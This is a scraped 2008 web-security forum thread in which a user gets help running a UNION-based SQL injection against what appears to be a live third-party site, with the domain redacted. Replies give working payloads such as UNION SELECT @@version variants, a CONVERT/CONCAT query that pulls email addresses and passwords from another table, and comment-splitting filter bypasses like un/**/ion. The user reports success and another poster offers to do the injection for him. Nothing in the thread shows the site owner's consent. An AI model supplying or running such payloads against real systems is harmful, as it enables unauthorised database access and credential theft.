Waraxe IT Security Portal
Login or Register
October 6, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 73
Members: 0
Total: 73
Full disclosure
Some SIM / USIM card security (and ecosystem) info
SEC Consult SA-20240930-0 :: Local Privilege Escalation via MSI Installer in Nitro PDF Pro (CVE-2024-35288)
Backdoor.Win32.Benju.a / Unauthenticated Remote CommandExecution
Backdoor.Win32.Prorat.jz / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Amatu.a / Remote Arbitrary File Write (RCE)
Backdoor.Win32.Agent.pw / Remote Stack Buffer Overflow (SEH)
Backdoor.Win32.Boiling / Remote Command Execution
Defense in depth -- the Microsoft way (part 88): a SINGLEcommand line shows about 20, 000 instances of CWE-73
SEC Consult SA-20240925-0 :: Uninstall Password Bypass in BlackBerry CylanceOPTICS Windows Installer Package (CVE-2024-35214)
Apple iOS 17.2.1 - Screen Time Passcode Retrieval (MitigationBypass)
CyberDanube Security Research 20240919-0 | Multiple Vulnerabilities in Netman204
Submit Exploit CVE-2024-42831
Stored XSS in "Edit Profile" - htmlyv2.9.9
Stored XSS in "Menu Editor" - htmlyv2.9.9
Backdoor.Win32.BlackAngel .13 / Unauthenticated Remote CommandExecution
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> [SOLVED] SQL Injection | Need help
Post new topicReply to topic View previous topic :: View next topic
[SOLVED] SQL Injection | Need help
PostPosted: Wed Sep 17, 2008 8:58 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3,4' and id='2'




How could I bypass this?
Tried it with ' UNION SELECT 1,2,3/*, but it didn't worked.

Any tips?

Thanks in advance.


Last edited by tr0nix on Thu Sep 18, 2008 10:14 pm; edited 1 time in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 11:34 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try without commenting out.

Code:

' UNION SELECT 1,2,3 WHERE '1'='1


Without deeper details it's hard to figure out proper sql injection string ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 11:39 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE '1'='1' and l_i='' at line 3

SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3 WHERE '1'='1' and l_i='2'



Should I pm you the site?


Last edited by tr0nix on Sun Sep 21, 2008 1:30 pm; edited 2 times in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 11:49 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




No. Just post here attack URL (GET request) without private info (domain name, etc removed) and exact sql error (same thing, remove private info).
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 11:57 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




https://site.com/zzz_content.php/coID/3'

Error:

Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'


Do you need anymore infos?
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 12:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




tr0nix wrote:
https://site.com/zzz_content.php/coID/3'

Error:

Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'


Do you need anymore infos?


Try some variations:

Code:

-1'+UNION+SELECT+@@version--+


Code:

-1'+UNION+SELECT+@@version+FROM+content_manager+WHERE+'1'='1


If you see sql errors, post them here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 12:09 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




zzz_content.php/coID/3' UNION SELECT @@version FROM content_manager WHERE '1'='1

Error:

Code:

1267 - Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'



So I just need to use CONVERT(), right?


Edit: Did it, sadly version 4.1.10a, but I'll try blind sql injection *g*

Big thanks to you, waraxe!


Edit2:

When I try to read from another table it gives me this:


Code:


1054 - Unknown column 'l_i' in 'where clause'

SELECT some_column FROM some_table WHERE sql_injection='-1' UNION SELECT CONVERT(CONCAT(email_address,0x203a20,password) using latin1) FROM anothertable WHERE 1='1' and l_i='2'


How can I bypass this now? Confused


Last edited by tr0nix on Sun Sep 21, 2008 1:31 pm; edited 1 time in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 2:58 pm Reply with quote
Sven17
Regular user
Regular user
Joined: Aug 01, 2008
Posts: 8




pm me the link and i'll inject it for you
View user's profile Send private message Visit poster's website
PostPosted: Thu Sep 18, 2008 1:11 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




I did it, yay.

Thanks to everyone who tried to help me. Smile))
View user's profile Send private message Send e-mail
PostPosted: Fri Sep 19, 2008 1:15 pm Reply with quote
0xbadfaceX
Regular user
Regular user
Joined: Aug 01, 2008
Posts: 12
Location: .bashrc$>




Using hex() and unhex() for columns
or to bypass this request must using a quote comment for the "UNION", like . . .
Code:
u/**/n/**/i/**/o/**/n
un/**/ion


etc . . . ++

_________________
,
View user's profile Send private message Visit poster's website
[SOLVED] SQL Injection | Need help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds